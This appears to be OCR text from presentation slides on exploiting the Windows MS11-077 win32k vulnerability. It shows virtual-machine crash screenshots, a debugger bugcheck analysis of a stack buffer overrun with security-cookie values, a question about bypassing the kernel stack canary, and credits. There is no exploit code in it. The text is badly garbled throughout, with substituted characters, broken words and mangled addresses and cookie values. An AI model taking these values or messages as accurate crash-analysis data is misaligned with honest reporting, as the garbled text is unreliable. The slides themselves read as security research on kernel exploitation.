-data:BFA1B8187 db 3Fh : 7
-data-BFA1B8188 db OGFFh
-datac:BFA1T1HB1I8D db 8cah ; -+
-datac:BFA1B818A db B8FFh
-data-BFA1B18B db 8cCih ; -
-data:BFA1B818C db BFFh
-data:BFA1B818D db 8FEh : |
60




Exploit MS11-077

& ™ O Windows 7 —
_ T K A
D Ca & 5 W c:

Suspend Take Snapshot Rollback Settings Unity Full Screen

and windows has be shut down To prewvent damage

dnstalled.
manutfacturear

clump . .
=h dum
MeEmaor

Dumpng F_E'

To direct input to this virtual machine, click inside the w.__. ¥ Ed © B -4 o
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Exploit MS11-077 (another try

led> lanalyvze —w
FE--E 36 33 36 IE - EIE-3E I I IEIE-IE 3 IE I IE - EEIE 3 I I EEE I I I E I I 3 3E 3 I EE I 3 I E I E 3E 3E 3 IE P E IE 3 I IE - 3E 3E 3 I I

I 3
* Bugcheclk Analv=i= *
3 ko

FE 3 I FE-E I IE I I IEIE I I I I I IEIEIE I I I I I IE I I I IE I IE I I I I I IEIE IE I I I I I IE WM I I I IE I I I M I I3 IE I I I IE I IE I IE M I M

DRIVER OVERRAN STACK BUFFER (f7)

A driwver ha= overrun a =tack—ha==ed buffer. Thi= overrun could potentially
allowy a maliciou=s u=er to gain control of this machine.
DESCREIFPTION

A driwver overran a =tack—bas=ed buffer {(or local wariable) in a way that would
hawvwe overwritten the function's return addre=s= and jJumped back to an arbitrarvy
addres==s when the function returned. Thi=s i= the clas=ic "buffer overrun”
hacking attack and the =v=tem ha= been brought down to prevent a maliciou=s u=ser
from gaining complete control of 1t .

Do a kb to gt a =tack backtrace — the la=st routine on the =tack before the
buffer overrun handlers and bugchecl —all i= the onse that overran it= local
wvariablel(=) .

Argument=:

Argl: 932222864, Actual =zecurity check cookise from the =tacl

Args: 932267al. Expected ssecurity checlk cookis

Arg3d: B6ocdd9857, Complement of the exzpected securitvy checl cookis

Argd: 00000000, =mexro

Debugging Detail=:

GSFAILURE_FUNCTION: win32k!_ SEH epilogd_ GS
GSFAILURE _RA_SMASHED: TRUE

GSFAILURE_MODULE_COOKIE: 932267a8 win32k!_ security_cookie [ 9322636c ]
GSFAILURE _FRAME COOKIE: ffffffff

SECURITY_COOKIE: Expected 93226728 found 93223864

GCSFAILURE ANAIVYSIS TEXET: |lg= ocutput:
Corruption ooccurred in windZlk!l_SEH epilogd 55 or one of 1t= callers=s

Analvzing _ report _gsfailure frame (5. ..
LEA u=sage: Function @0=FFFFFFFFY30E1162—-0=FFFFFFFFI930E1172 1= HOT u=sing LEA
Module canarwv at O0xFFFFFFEFFO9222636C (win2Zlk!l_  =security_coolkie): O0x932Z2c67A0
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Exploit MS11-077

ol

& ™ ™ Windows 7 —
3 I L3 ]
) Ca G = W, | Iz

Suspend Take Enapshﬂt Rollback Setrings Limity Full Screen

blem has : and windows a= been shut down Tto prewvent damage
COomput e

. —ba=sed butffter. 71 = errun could potentially allow

machine.

=
arnd then

echmica’l

R R

cdump -
= clump

LM T g

To direct input to this wirtual machine, click inside the w.__ * Ed = B < - D L

Possible to bypass Kernel Canary in Kernel Land??
gave up without detail testing
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Demonstration

/////////



Thank You

Credit to: jvjviglg, Byoungyoung Lee &
Tarjei Mandt
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